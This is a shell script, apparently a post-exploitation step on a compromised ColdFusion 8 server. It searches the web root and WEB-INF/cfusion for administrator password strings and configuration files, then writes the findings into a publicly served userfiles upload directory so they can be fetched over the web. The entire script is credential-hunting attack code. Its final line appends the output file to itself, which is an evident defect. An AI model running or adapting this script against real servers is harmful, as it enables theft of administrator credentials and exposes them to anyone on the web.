#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw_out.txt
echo "=== search adminpassword in whole cf tree ===" > $O
grep -rIl 'adminpassword\|admin_password\|AdminPassword\|ADMIN_PASSWORD' /opt/coldfusion8/wwwroot --include='*.xml' --include='*.properties' --include='*.conf' --include='*.ini' --include='*.cfm' 2>/dev/null | head -20 >> $O
echo "=== grep password strings ===" >> $O
grep -ri 'admin.*password\|password.*admin' /opt/coldfusion8/wwwroot/WEB-INF/cfusion 2>/dev/null | head -20 >> $O
echo "=== list WEB-INF/cfusion ===" >> $O
ls -la /opt/coldfusion8/wwwroot/WEB-INF/cfusion/ 2>/dev/null | head -30 >> $O
echo "=== lib dirs ===" >> $O
find /opt/coldfusion8/wwwroot/WEB-INF/cfusion -maxdepth 2 -name '*.xml' -o -maxdepth 2 -name '*.properties' 2>/dev/null | head -20 >> $O
cat $O >> $O
